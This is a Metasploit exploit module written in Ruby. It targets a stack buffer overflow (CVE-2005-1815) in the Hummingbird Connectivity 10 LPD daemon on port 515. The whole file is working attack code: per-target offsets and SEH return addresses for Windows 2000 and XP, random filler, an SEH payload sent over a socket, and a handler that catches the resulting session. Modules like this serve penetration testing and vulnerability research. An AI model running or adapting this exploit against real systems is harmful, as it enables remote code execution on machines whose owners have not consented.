##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hummingbird Connectivity 10 SP5 LPD Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Hummingbird Connectivity
        10 LPD Daemon. This module has only been tested against Hummingbird
        Exceed v10 with SP5.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-1815'],
          ['OSVDB', '16957'],
          ['BID', '13788'],
        ],
      'Privileged'     => true,

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 2000 English SP0-SP4', { 'Offset' => 1620, 'Ret' => 0x75022ac4 }],
          ['Windows XP English SP0/SP1',   { 'Offset' => 1596, 'Ret' => 0x71aa2461 }],
        ],

      'DisclosureDate' => 'May 27 2005'))

    register_options( [ Opt::RPORT(515) ])
  end

  def exploit
    connect

    filler = rand_text_english(target['Offset'], payload_badchars)
    seh    = generate_seh_payload(target.ret)
    sploit = filler + seh

    print_status("Trying target #{target.name}...")
    sock.put(sploit)

    handler
    disconnect
  end
end
